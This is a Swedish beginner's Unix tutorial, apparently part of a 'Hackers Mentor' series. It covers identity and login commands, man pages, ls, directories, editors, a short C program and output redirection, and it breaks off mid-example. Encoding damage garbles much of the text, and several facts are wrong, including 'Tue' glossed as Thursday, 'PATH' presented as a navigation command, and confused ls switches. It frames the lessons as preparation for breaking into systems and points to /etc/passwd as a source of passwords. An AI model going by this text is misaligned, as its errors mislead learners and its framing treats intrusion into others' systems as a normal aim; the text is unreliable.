|||
|
|
|||
|
Du kommer nog p<> n<>got!
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Hur g<>r det? H<>nger du med? Jag f<>resl<73>r redan nu att du g<>r och h<>mtar papper och penna och
|
|||
|
b<EFBFBD>rjar dokumentera det du l<>r dig! Skriv ned alla kommandon som jag visar dig!
|
|||
|
Du kan beh<65>va en fusklapp senare. Puh! Redan jobbigt. Hur ska du komma ih<69>g allt?
|
|||
|
Vi m<>ste k<>mpa oss igenom den h<>r boken! Sedan blir det rock<63>n roll! ?
|
|||
|
L<EFBFBD>t det ta tid. Det finns ingen b<>ttre v<>g en denna. Men ta pauser! Det kan du beh<65>va.
|
|||
|
|
|||
|
Nu,,,, nu forts<74>tter vi.
|
|||
|
|
|||
|
|
|||
|
SE VEM DU <20>R P<> DATORN
|
|||
|
|
|||
|
Du <20>r inloggad, beredd att skriva in kommandon. Utm<74>rkt!
|
|||
|
Medan du <20>r inne i systemet kan du passa p<> att titta p<> vem du <20>r, eller vem datorn
|
|||
|
tror att du <20>r. Det enklaste s<>ttet <20>r att anv<6E>nda whoami:
|
|||
|
|
|||
|
% whoami
|
|||
|
icecoder
|
|||
|
%
|
|||
|
|
|||
|
Pr<EFBFBD>va nu detta kommando i ditt system!
|
|||
|
Detta kommando visar allts<74> vilket inloggningsnamn som du loggade in dig med.
|
|||
|
98% av Unix kommandon <20>ndras inte om du anv<6E>nder mellanslag, men i det h<>r
|
|||
|
fallet blir resultatet n<>got helt annat.
|
|||
|
|
|||
|
% who am i
|
|||
|
hackment.servern.edu!icecoder ttyp4 Feb 8 19:54
|
|||
|
%
|
|||
|
|
|||
|
H<EFBFBD>r fick jag veta en del om min identitet i systemet.
|
|||
|
Prova och se vilket resultat det ger.
|
|||
|
|
|||
|
I det h<>r fallet <20>r hackment den dator jag loggade in mig p<> och
|
|||
|
icecoder <20>r som vanligt mitt loggin namn. Hackment <20>r allts<74> mitt
|
|||
|
v<EFBFBD>rdnamn! Och servern.edu <20>r resten av dom<6F>nnamnet.
|
|||
|
Utropstecknet (!) skiljer dom<6F>nnamnet och inloggnings namnet <20>t.
|
|||
|
|
|||
|
<EFBFBD>tty<EFBFBD> <20>r en f<>rkortning f<>r <20>teletypewriter<65> och h<>rnstammar fr<66>n de riktigt
|
|||
|
gamla Unix systemen som k<>rdes interaktivt teleprinter.
|
|||
|
Det st<73>r f<>r en dator- eller terminaluppkoppling.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Adressen:
|
|||
|
|
|||
|
Hackment.servern.edu. Jag f<>rklarar:
|
|||
|
Edu = education. Allts<74> <20>r datorn indragen i n<>gon sorts utbildning. Ett universitet eller liknande.
|
|||
|
Sedan <20>Servern<72>. Inom n<>tverket finns en server vid namn <20>Servern<72> som i sin tur hanterar
|
|||
|
datorn d<>r kontot finns. (Datorn heter <20>Hackment<6E>.) Detta bildar d<> allts<74> en hierarkiskt adress!
|
|||
|
|
|||
|
Ett annat s<>tt att ta reda p<> vem du <20>r i Unix <20>r via kommandot id.
|
|||
|
Det <20>r avsett att upplysa dig om vilken grupp du tillh<6C>r och om ditt kontos anv<6E>ndar-ID
|
|||
|
(uid = <20>user ID<49>). Skriv kommandot id och se vad du f<>r. Jag ser f<>ljande:
|
|||
|
|
|||
|
% id
|
|||
|
uid=211(icecoder) gid=50(users0) groups=50(users0)
|
|||
|
%
|
|||
|
|
|||
|
OBS: i vissa system anv<6E>nds id f<>r att ta fram l<>gniv<69>information om filer.
|
|||
|
|
|||
|
H<EFBFBD>r ser jag att mitt kontonamn <20>r icecoder och att mitt anv<6E>ndar id <20>r 211.
|
|||
|
Precis som kontonamnet <20>r anv<6E>ndar ID t n<>got helt unikt i systemet.
|
|||
|
|
|||
|
Sedan kan du se att mitt grupp ID (gid = <20>Group ID<49>), <20>r 50 och att grupp nummer 50
|
|||
|
heter users0. Och slutligen, att det <20>r den enda grupp jag tillh<6C>r.
|
|||
|
|
|||
|
Se vilka som <20>r inloggade
|
|||
|
|
|||
|
Du kan enkelt se vilka som <20>r inloggade med kommandot users:
|
|||
|
|
|||
|
% users
|
|||
|
icecoder marcos steve xeroz
|
|||
|
%
|
|||
|
|
|||
|
I det h<>r fallet var icecoder, marcos, steve och xeroz inloggade i systemet.
|
|||
|
F<EFBFBD>r att f<> mer information anv<6E>nder vi who:
|
|||
|
|
|||
|
% who
|
|||
|
icecoder ttyp0 Feb 6 14:10 (limbo)
|
|||
|
marcos ttyp2 Feb 6 06:52 (calliope)
|
|||
|
steve ttyp4 Feb 4 12:37 (dent)
|
|||
|
xeroz ttyp4 Feb 6 13:04 (osiris)
|
|||
|
|
|||
|
H<EFBFBD>r f<>r vi information om de inloggade!
|
|||
|
Datum f<>r inloggningen, tid, vilken typ av ttyp som alla <20>r inloggade via
|
|||
|
och vilka system de <20>r anslutna fr<66>n.
|
|||
|
|
|||
|
- Det st<73>r mig att xeroz anv<6E>nder samma namn p<> system som Tsutomu i filmen
|
|||
|
<EFBFBD>Operation Takedown<77>! ;-).
|
|||
|
|
|||
|
Om du nu vill se <20>NNU mer information, till och med vad alla i systemet G<>R, s<> ska
|
|||
|
du helt klart anv<6E>nda kommandot w:
|
|||
|
|
|||
|
% w
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
-
|
|||
|
%
|
|||
|
|
|||
|
H<EFBFBD>r kommer du nu f<> se en dr<64>s information, som jag faktiskt inte orkade skriva. (ok, det <20>r inte S<><53>
|
|||
|
mycket, men just nu n<>r jag skriver detta s<> <20>r klockan 00:49, och jag m<>ste upp klockan 08:00 i
|
|||
|
morgon, s<> jag tycker inte att jag har TID, [dock hade jag visst tid att skriva detta!]. hehe,,
|
|||
|
Du f<>r i alla fall veta i vilka program som de inloggade jobbar f<>r tillf<6C>llet, samt en del annan info.
|
|||
|
|
|||
|
|
|||
|
Kontrollera Datum och Tid
|
|||
|
|
|||
|
F<EFBFBD>r att enkelt se hur mycket klockan <20>r, och vilket datum det <20>r<EFBFBD> S<> kanske vi borde anv<6E>nda <20>time<6D>.
|
|||
|
Men nej.. Testa det kommandot s<> f<>r du se vad som h<>nder!:
|
|||
|
|
|||
|
% time
|
|||
|
14.5u 17.0s 29:13 1% 172+217io 160pf+1w
|
|||
|
%
|
|||
|
|
|||
|
- Det gav inte s<> mycket.
|
|||
|
|
|||
|
F<EFBFBD>r att f<> veta det vi var ute efter, s<> anv<6E>nds <20>date<74> kommandot:
|
|||
|
|
|||
|
% date
|
|||
|
Tue Feb 5 15:07:42 EST 1999
|
|||
|
%
|
|||
|
|
|||
|
S<EFBFBD>! Nu fick vi se det vi ville se.
|
|||
|
Tue = Tuesday = torsdag
|
|||
|
Feb = Februari = februari
|
|||
|
5 = femte
|
|||
|
15:07:42 = sju minuter <20>ver 3 p<> eftermiddagen. ( Plus 42 sekunder ).
|
|||
|
<EFBFBD>r 1999.
|
|||
|
|
|||
|
Du f<>rst<73>r s<>kert! ;-).
|
|||
|
|
|||
|
|
|||
|
Kapitel 1. Del: 2. <20> F<> hj<68>lp i UNIX <20>
|
|||
|
|
|||
|
Nu n<>r du vet hur man loggar in, ut och f<>r en del information om systemet,
|
|||
|
s<EFBFBD> <20>r det andra du beh<65>ver l<>ra dig i detta nya system, att kunna f<> hj<68>lp med olika saker.
|
|||
|
Den h<>r boken r<>cker v<>ldigt l<>ngt, men du kommer <20>nd<6E> i situationer d<> du beh<65>ver
|
|||
|
veta n<>got som ej stod med i boken.
|
|||
|
|
|||
|
Det finns en del att veta om det f<>rsta kommandot, <20>man<61>. Som jag nu ska ber<65>tta om.
|
|||
|
Men f<>r att vi ska hinna och orka l<>sa den h<>r boken tar jag bara med det mest n<>dv<64>ndiga.
|
|||
|
|
|||
|
* ( Jag kommer vidare genom alla Hackers Mentor att prata om Unix och ge dig nya kommandon
|
|||
|
samt upprepa de som vi tidigare l<>rt oss. S<> du kommer att l<>ra dig Unix bara du l<>ser allt!
|
|||
|
- Efter alla lektioner i Unix kommer du vara en expert som kan g<> till Flashback i god tro! ;-) ). *
|
|||
|
|
|||
|
Man <20> kommandot fungerar som s<>dant, att du f<>rst skriver in <20>man<61> och sedan det kommando som
|
|||
|
du vill ha hj<68>lp med. Det kan se ut p<> f<>ljande vis:
|
|||
|
|
|||
|
% man mkdir
|
|||
|
|
|||
|
** EN MASSA INFO OM KOMMANDOT <20>MKDIR<49> KOMMER UPP **
|
|||
|
|
|||
|
%
|
|||
|
|
|||
|
H<EFBFBD>r kommer som sagt en massa information att visas. Och det kan se lite olika ut beroende p<> vilket-
|
|||
|
-shell/System du anv<6E>nder.
|
|||
|
|
|||
|
Man kommandot <20>r v<>ldigt bra och kan ofta komma till anv<6E>ndning.
|
|||
|
|
|||
|
Man <20>r f<>r<EFBFBD>vrigt en f<>rkortning av <20>Manual<61>. Och t<>cker varje kommando som finns
|
|||
|
i hela Unix. Du kan <20>ven anv<6E>nda v<>xeln <20>k som st<73>r f<>r <20>keyword<72> om du har gl<67>mt
|
|||
|
bort vad ett kommando hette, men mins vad det gjorde.
|
|||
|
(Mer om v<>xlar senare).
|
|||
|
|
|||
|
F<EFBFBD>r att anv<6E>nda v<>xeln <20>k s<> skriver man p<> f<>ljande s<>tt:
|
|||
|
|
|||
|
% man <20>k disk
|
|||
|
**
|
|||
|
%
|
|||
|
|
|||
|
Ni f<>rst<73>r s<>kert principen. Man <20> sidorna <20>r indelade i nio sektioner.
|
|||
|
Du ser alla sektioner i listan nedan. Det <20>r till f<>r, att om en du vill ha hj<68>lp om ett kommando
|
|||
|
som ligger i sektion 1, men det finns ett kommando med exakt samma namn i sektion 3.
|
|||
|
D<EFBFBD> m<>ste du ange vilken sektion Unix ska leta i efter kommandot.
|
|||
|
|
|||
|
Sektion Inneh<65>ll
|
|||
|
1 Anv<6E>ndarkommandon
|
|||
|
1M Systemunderh<72>ll
|
|||
|
2 Systemanrop
|
|||
|
3 Biblioteksrutiner
|
|||
|
4 Administrativa filer
|
|||
|
5 Diverse filer
|
|||
|
6 spel
|
|||
|
7 I/O- och specialfiler
|
|||
|
8 Administrationskommandon
|
|||
|
|
|||
|
---------------------------------------------------------------------------------------------------------------------------
|
|||
|
|
|||
|
Ett annat kommando: apropos
|
|||
|
|
|||
|
Med kommandot apropos kan du f<> en massa information om olika kommandon. Precis som med
|
|||
|
Man , men lite mer avancerat. Visar filnamn och s<>nt. =-).
|
|||
|
|
|||
|
Ytterligare ett kommando: whatis
|
|||
|
Anv<EFBFBD>nds som:
|
|||
|
|
|||
|
% whatis cd
|
|||
|
cd[1] - change working directory
|
|||
|
%
|
|||
|
|
|||
|
Du kan <20>ven testa whatis whatis:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
% whatis whatis
|
|||
|
whatis[1] - display a one-line summary about a keyword
|
|||
|
%
|
|||
|
|
|||
|
H<EFBFBD>r f<>r vi allts<74> veta:
|
|||
|
? Att whatis och cd ligger i sektion 1.
|
|||
|
? Att whatis kommandot anv<6E>nds f<>r att visa en-rads information om olika kommandon.
|
|||
|
|
|||
|
|
|||
|
S<EFBFBD> enkelt var det.
|
|||
|
|
|||
|
Andra kommandon som man kan testa i Unix system (n<>r du har lyckats hacka dig in) <20>r:
|
|||
|
<EFBFBD>help<EFBFBD> och <20>?<3F>.
|
|||
|
Testa med de b<>da, det f<>rsta du g<>r i ett hackat system. F<>r att f<> fram information om
|
|||
|
just det aktuella systemets kommandon. (Beroende p<> skal format mm..).
|
|||
|
|
|||
|
|
|||
|
Tips: Vissa kommandon fungerar om du l<>gger till v<>xeln <20>h.
|
|||
|
Testa!:
|
|||
|
|
|||
|
% ls <20>h
|
|||
|
usage: ls [-acdfgilqrstu 1 ACLFR ] home
|
|||
|
|
|||
|
I exemplet ovan (f<>rra sidan). Fick vi veta att kommandot LS kunde anv<6E>ndas med v<>xlarna:
|
|||
|
|
|||
|
-a ,-c ,-d ,-f ,-g ,-i ,-l ,-q ,-r ,-s
|
|||
|
-t ,-u ,-1 ,-A ,-C ,-L ,-F ,-R
|
|||
|
och
|
|||
|
-home
|
|||
|
|
|||
|
- I vissa system f<>r vi i st<73>llet upp en listning av filer. ( Kommandot ls anv<6E>nds f<>r att visa en
|
|||
|
lista <20>ver alla filer i den aktuella eller n<>gon annan katalog).
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Kapitel 2. Del: 3. <20>Hantera och f<>rflytta dig i filsystemet<65>.
|
|||
|
------------------------------------------------------------------------------------------------------------
|
|||
|
I denna del:
|
|||
|
|
|||
|
? Hur listar jag filer och kataloger?
|
|||
|
? Hur navigerar jag i systemet?
|
|||
|
? Hur fungerar Jed? ,,, texteditorn.
|
|||
|
? Omdirigering
|
|||
|
? R<>rledningar
|
|||
|
? Enkel C programmering i Linux.
|
|||
|
|
|||
|
|
|||
|
Unix anv<6E>nder sig av ett s.k. <20>hierarkiskt<6B> filsystem.
|
|||
|
Det betyder att det (som i Microsoft Windows/ DOS) har en <20>versta enhet
|
|||
|
och under den en massa kataloger och i de katalogerna, en massa andra kataloger.
|
|||
|
En sorts rang ordning.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Unix s<>kv<6B>gar ser dock annorlunda ut Windows.
|
|||
|
C:\Windows
|
|||
|
Skulle i Unix<69>s fall ha varit:
|
|||
|
/Windows
|
|||
|
Dessutom har man en egen <20>home<6D> katalog. En hem katalog allts<74>.
|
|||
|
Det <20>r i den hemkatalogen man alltid startar, och man f<>rflyttar sig tillbaka dit
|
|||
|
genom att skriva HOME och klicka p<> Enter.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
F<EFBFBD>r att se vilka andra filer och kataloger som finns i den aktuella katalogen, s<> anv<6E>nder
|
|||
|
du kommandot <20>ls<6C>.:
|
|||
|
|
|||
|
% ls
|
|||
|
Archives MAIL RUMORS.18sept
|
|||
|
InfoWorld News bin
|
|||
|
LISTS OWL ieecc.list
|
|||
|
%
|
|||
|
|
|||
|
OK. H<>r fick jag nu se en massa filer och kataloger. Men hur vet jag vilka som <20>r filer
|
|||
|
och vilka som <20>r kataloger? <20> Genom v<>xeln <20>F f<>rst<73>ss!!
|
|||
|
H<EFBFBD>r <20>r en massa andra v<>xlar f<>r ls:
|
|||
|
(n<>sta sida).
|
|||
|
|
|||
|
|
|||
|
V<EFBFBD>xel: Betydelse:
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
-l Framtvinga en fillistning i en spalt
|
|||
|
-a Lista alla filer (samt dolda)
|
|||
|
-C Lista i flera spalter
|
|||
|
-d Lista katalognamn ist<73>llet f<>r deras inneh<65>ll.
|
|||
|
-F Visa filtyper; / = katalog, * = program, @ = symbolisk l<>nk.
|
|||
|
-I Lista kataloger och filer i l<>ngt format.
|
|||
|
-m Lista filer i en komma separerad lista.
|
|||
|
-r V<>nd p<> sorteringen.
|
|||
|
-R Visa kataloger och deras inneh<65>ll rekursivt.
|
|||
|
-s Visa filstorlekar i block. ( 1 block normalt = 1 024 bytes)
|
|||
|
-t Sortera utmatningen med de senast <20>ndrade filerna f<>rst.
|
|||
|
-x Sortera utmatningen horisontellt.
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Du kan <20>ven kombinera v<>xlar. S<>, om du vill se alla filer i flera, fina spalter, s<> anv<6E>nder
|
|||
|
du kommandot ls tillsammans med v<>xlarna a och C:
|
|||
|
|
|||
|
% ls <20>a <20>C
|
|||
|
blabla .blabla
|
|||
|
blabla .blabla
|
|||
|
.blabla blabla
|
|||
|
|
|||
|
Du ser h<>r att alla filer heter blabla. Men framf<6D>r vissa <20>r det en punkt.
|
|||
|
Alla dolda filer i Unix har en punkt framf<6D>r sig!
|
|||
|
- D<> vet du det. F<> se.. vad ska vi ta och l<>ra oss nu d<>..??
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Jo.. F<>rst och fr<66>mst m<>ste jag presentera de viktigaste katalogerna samt ge dig lite info om vad
|
|||
|
som finns inuti dem.
|
|||
|
|
|||
|
/bin
|
|||
|
F<EFBFBD>rkortning av <20>Binaries<65>. Platsen d<>r Unix f<>rvarar alla sina
|
|||
|
k<EFBFBD>rbara filer.
|
|||
|
|
|||
|
/dev
|
|||
|
Dev <20>r en f<>rkortning av <20>Devices<65>. Och i den h<>r katalogen ligger alla
|
|||
|
Unix drivrutiner. Utan dessa skulle du inte ha n<>gon information p<> -
|
|||
|
- sk<73>rmen. D<>rf<72>r h<>r DEV till n<>got av det viktigaste i Unix.
|
|||
|
|
|||
|
/etc
|
|||
|
Detta <20>r en av hackarnas favorit kataloger! ;-). H<>r finns bland annat filen passwd som
|
|||
|
inneh<EFBFBD>ller alla i systemets login namn och l<>senord.
|
|||
|
ETC <20>r lagringsplatsen f<>r alla Unix systemadministrativa filer.
|
|||
|
F<EFBFBD>rkortning f<>r <20>etcetera<72>.
|
|||
|
|
|||
|
/lib
|
|||
|
Unix har en central lagringsplats f<>r s.k. biblioteksfiler (<28>libraries<65>) med funktioner och
|
|||
|
procedurer. De ligger i katalogen lib. Det <20>r k<>rbara filer som h<>r till vissa best<73>mda-
|
|||
|
-program och hj<68>lper dem med funktioner och kapacitet som de annars inte skulle ha.
|
|||
|
Tanken <20>r att om ett program vill nyttja en viss funktion ska det kunna anropa den i ett
|
|||
|
funktionsbibliotek ist<73>llet f<>r att sj<73>lva beh<65>va inneh<65>lla den.
|
|||
|
|
|||
|
|
|||
|
Det finns ett antal fler kataloger, men sorry. Orkar inte ta med dem h<>r och nu. :-/.
|
|||
|
/lost+found , /mnt, /sys, /tmp, /usr ? Dessa <20>r de som jag skippar.
|
|||
|
|
|||
|
Nu hade jag t<>nkt att forts<74>tta med lite kommandon.
|
|||
|
Du vill antagligen flytta dig lite i systemet och titta p<> filer mm..
|
|||
|
|
|||
|
F<EFBFBD>r att se vart i systemet du befinner dig anv<6E>nder du kommandot <20>PATH<54>:
|
|||
|
$ PWD
|
|||
|
Du f<>r veta vart du <20>r.. F<>rflytta dig sedan Med cd eller path:
|
|||
|
$ PATH HOME
|
|||
|
Detta tar dig hem till din hemkatalog.
|
|||
|
$ CD ../
|
|||
|
Detta flyttar dig ett steg upp i katalogsystemet.
|
|||
|
Som sagt, UNIX har ett hierarkiskt filsystem, precis som Windows.
|
|||
|
C:\Windows\System\
|
|||
|
F<EFBFBD>rst kommer C:\. Den <20>versta och f<>rsta. Sedan kommer Windows\.
|
|||
|
Sedan System\. Detta <20>r ett hierarkiskt filsystem.
|
|||
|
|
|||
|
N<EFBFBD>r du anv<6E>nder kommandot LS f<>r att lista filer s<> kommer du se tv<74> <20>filer<65>
|
|||
|
vid namn ./ och ../. ( ./ = Den katalog du just nu befinner dig i . Obetydlig).
|
|||
|
(../ = En katalog h<>gre.) Den sista, ../ <20>r ganska viktig. Eftersom att du f<>rmodligen-
|
|||
|
-vill flytta dig upp<70>t i systemet! Vi s<>ger att du befinner dig i katalogen <20>qwerty<74> som <20>r en
|
|||
|
underkatalog till <20>hack<63>. F<>r att lista filer i katalogen <20>rewt<77> som ocks<6B> den <20>r en underkatalog till
|
|||
|
katalogen <20>hack<63>, s<> skriver du allts<74>:
|
|||
|
ls ../rewt
|
|||
|
|
|||
|
|
|||
|
Mer om allt detta s<> sm<73>ningom.
|
|||
|
|
|||
|
Nu kan det vara lagom att g<> in lite mer i vardagslivets sidor av UNIX.
|
|||
|
En texteditor <20>r v<>l allt bra vanligt? Det <20>r ju n<>got av det viktigaste i systemet,
|
|||
|
utan den vore en dator inte en dator.
|
|||
|
UNIX har m<>nga fler texteditorer som standard, f<>ljer med systemet, <20>n vad Windows har.
|
|||
|
Words och Notepad.. Hmms.. UNIX har i alla fall lite fler, Emacs, Pico, Joe, Jed och Vi.
|
|||
|
Vi ska titta lite n<>rmare p<> dem.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Texteditors
|
|||
|
|
|||
|
En texteditor <20>r antagligen det viktigaste verktyget i Linux och utan en s<>dan <20>r du helt f<>rsvarsl<73>s.
|
|||
|
Det finns ett stort antal editorer och alla har sin personliga favorit.
|
|||
|
|
|||
|
N<EFBFBD>gra vanliga texteditorer:
|
|||
|
|
|||
|
? Joe
|
|||
|
|
|||
|
Ganska trevlig att man<61>vrera n<>r du l<>rt dig kombinationerna.
|
|||
|
Skriv s<> h<>r: joe hej, skriv in lite text. Tryck p<> <CTRL><K> och sen p<> <X> n<>r du vill spara och
|
|||
|
avsluta.
|
|||
|
Tryck p<> <CTRL><K> och sedan <H> f<>r att f<> se hj<68>lpmenyn.
|
|||
|
|
|||
|
? Jed
|
|||
|
|
|||
|
Mer sofistikerad <20>n Joe. Alldeles underbar n<>r man programmerar. Den identerar och f<>rgar det
|
|||
|
man skriver in. Dessutom hj<68>lper den till att h<>lla reda p<> parenteser.
|
|||
|
Jed <20>r en ganska lyckad blandning av Emacs och Joe.
|
|||
|
|
|||
|
? Emacs
|
|||
|
|
|||
|
Otroligt stor och omfattande editor. Det finns en uppsj<73> program specifikt skrivna f<>r Emacs.
|
|||
|
Emacs har ocks<6B> en v<>ldigt massa olika l<>gen, c-mode t.ex. som fixar inledningar och s<>dant i C-Kod.
|
|||
|
Du b<>r f<>rs<72>ka bekanta dig med Emacs, extremt produktiv enligt fanatikerna. Det <20>r egentligen bara
|
|||
|
en editor men emacs <20>r s<> pass konfigurationsv<73>nligt att folk anv<6E>nder det f<>r att styra sina
|
|||
|
kaffekokare med!
|
|||
|
|
|||
|
? Vi
|
|||
|
|
|||
|
Raka motsatsen till Emacs, extremt minimalt och anv<6E>ndarfientligt. V<>ldigt m<>nga tycker dock
|
|||
|
att vi <20>r den b<>sta och snabbaste. <20>nda sen 80-tal har ett relig<69>st krig mellan emacs- och vi-fanatiker
|
|||
|
rasat. Vid en st<73>rre Linux m<>ssa utmanade de varandra i paintball. Det var motiveringen
|
|||
|
<EFBFBD>Smidighet och snabbhet g<>ller i b<>de textredigering och paintball<6C> som vi-laget kamade hem en
|
|||
|
snabb seger. Vi uttalas vi-aj. ;-)
|
|||
|
|
|||
|
? Pico
|
|||
|
|
|||
|
Linkar edit i DOS. T<>mligen enkel att anv<6E>nda. Om du tycker att de ovanst<73>ende <20>r sv<73>rhanterliga
|
|||
|
kan du anv<6E>nda denna. Om du vill spara en fil trycker du p<> <CTRL><O>. Avsluta med
|
|||
|
<CTRL><X>. Anv<6E>nd valfri editor f<>r att skriva in f<>ljande program. Jed och Emacs <20>r
|
|||
|
speciellt trevliga att n<>r det g<>ller programmering.
|
|||
|
|
|||
|
Skriv t.ex. jed exempel.c och skriv in f<>ljande:
|
|||
|
|
|||
|
#include<stdio.h>
|
|||
|
int main(void)
|
|||
|
{
|
|||
|
int a,b;
|
|||
|
printf(<28>Ange tal 1:\n<>);
|
|||
|
scanf(<28>%d<>, &a);
|
|||
|
printf(<28>Ange tal 2:\n<>);
|
|||
|
scanf(<28>%d<>, &b);
|
|||
|
printf(<28>Summan av %d och %d <20>r %d\n!<21>,a,b,a+b);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
Tryck p<> <Ctrl-X> och <C> n<>r du vill spara. Nu har du f<>rhoppningsvis uppt<70>ckt att Jed <20>r bra att
|
|||
|
programmera med, eftersom den hj<68>lper till r<>tt mycket med grammatiken. Kompilera och provk<76>r
|
|||
|
programmet:
|
|||
|
|
|||
|
$ gcc exempel.c
|
|||
|
$ ./a.out
|
|||
|
Ange tal 1:
|
|||
|
4
|
|||
|
Ange tal 2:
|
|||
|
7
|
|||
|
Summan av 4 och 7 <20>r 11
|
|||
|
|
|||
|
|
|||
|
Skalet II
|
|||
|
|
|||
|
Nu n<>r du har l<>rt dig anv<6E>nda editorn Jed n<>gorlunda, kan du <20>terkomma till fler funktioner i
|
|||
|
skalet Bash. Om du listar inneh<65>llet i din hemkatalog ser det kanske ut s<> h<>r:
|
|||
|
|
|||
|
$ ls
|
|||
|
a.out
|
|||
|
exempel.c
|
|||
|
textfil
|
|||
|
textfil2
|
|||
|
$
|
|||
|
|
|||
|
Nu vill du givetvis inte ha s<>dan oordning i din hemkatalog, det ska vara snyggt och prydligt.
|
|||
|
Skapa en katalog till din C-fil. Jag tycker ocks<6B> att du skall ta bort a.out.
|
|||
|
|
|||
|
$ rm a.out
|
|||
|
$ mkdir c
|
|||
|
$ pwd
|
|||
|
/home/kalle
|
|||
|
$ ls
|
|||
|
c
|
|||
|
exempel.c
|
|||
|
textfil
|
|||
|
textfil2
|
|||
|
$ cd c
|
|||
|
$ pwd
|
|||
|
$ /home/kalle/c
|
|||
|
$ ls
|
|||
|
$
|
|||
|
|
|||
|
Sedan flyttar du .c-filerna till c-katalogen.
|
|||
|
|
|||
|
$ mv *.c c/
|
|||
|
$ cd c
|
|||
|
$ ls
|
|||
|
exempel.c
|
|||
|
$ pwd
|
|||
|
/home/kalle/c
|
|||
|
$ cd ..
|
|||
|
$ pwd
|
|||
|
/home/kalle
|
|||
|
$ ls
|
|||
|
c
|
|||
|
textfil
|
|||
|
textfil2
|
|||
|
|
|||
|
G<EFBFBD>r likadant med de andra filerna, dela in dem i kataloger! =^).
|
|||
|
|
|||
|
Omdirigering
|
|||
|
|
|||
|
UTDATA
|
|||
|
|
|||
|
Programmet cat l<>ser in filen textfil och skriver ut inneh<65>llet till utdata, stdout. Det festliga <20>r
|
|||
|
att vi kan dirigera om var utdatan ska hamna och om du inte specificerar n<>got annat kommer
|
|||
|
utdatan till den sk<73>rm du tittar p<>. Men skriver du:
|
|||
|
|
|||
|
$ cat textfil > textfil3
|
|||
|
$
|
|||
|
|
|||
|
VA!? Inget h<>nde? Jod<6F>.. Utdatan som cat skickade fr<66>n textfil, skickades till den nya filen
|
|||
|
textfil3.
|
|||
|
|
|||
|
|
|||
|
$ ls
|
|||
|
textfil
|
|||
|
textfil2
|
|||
|
textfil3
|
|||
|
$ cat textfil3
|
|||
|
Linux <20>r absolut b<>st
|
|||
|
|
|||
|
H<EFBFBD>r ser du allts<74>, att texten i <20>textfil<69> skickades till en ny fil vid namn <20>textfil3<6C>.
|
|||
|
N<EFBFBD>r vi sedan <20>ppnar filen med <20>cat<61>, s<> ser vi beviset.. Samma text som i <20>textfil<69> !
|
|||
|
Det <20>r ett primitivt s<>tt att kopiera en textfil p<>. Det funkar dessutom bara p<> textfiler.
|
|||
|
Den andra dirigenten heter <, och <20>r givetvis en mostats till >. Du minns kanske v<>rt lilla
|
|||
|
C-program som fr<66>gade efter tv<74> tal; s<> h<>r kan du anv<6E>nda < operatorn:
|
|||
|
|
|||
|
INDATA
|
|||
|
|
|||
|
$ pwd
|
|||
|
/home/kalle/c
|
|||
|
$ gcc exempel.c <20>o exempel
|
|||
|
$ ./exempel
|
|||
|
Ange tal 1:
|
|||
|
5
|
|||
|
Ange tal 2:
|
|||
|
6
|
|||
|
Summan av 5 och 6 <20>r 11!
|
|||
|
|
|||
|
Skapa nu en fil i samma katalog som inneh<65>ller tv<74> tal p<> varsin rad. Gl<47>m inte att avsluta
|
|||
|
varje rad med ett radbyte, <ENTER>.
|
|||
|
|
|||
|
$ ls
|
|||
|
exempel
|
|||
|
exempel.c
|
|||
|
siffror ? (Den nya filen!)
|
|||
|
$ cat siffror
|
|||
|
23
|
|||
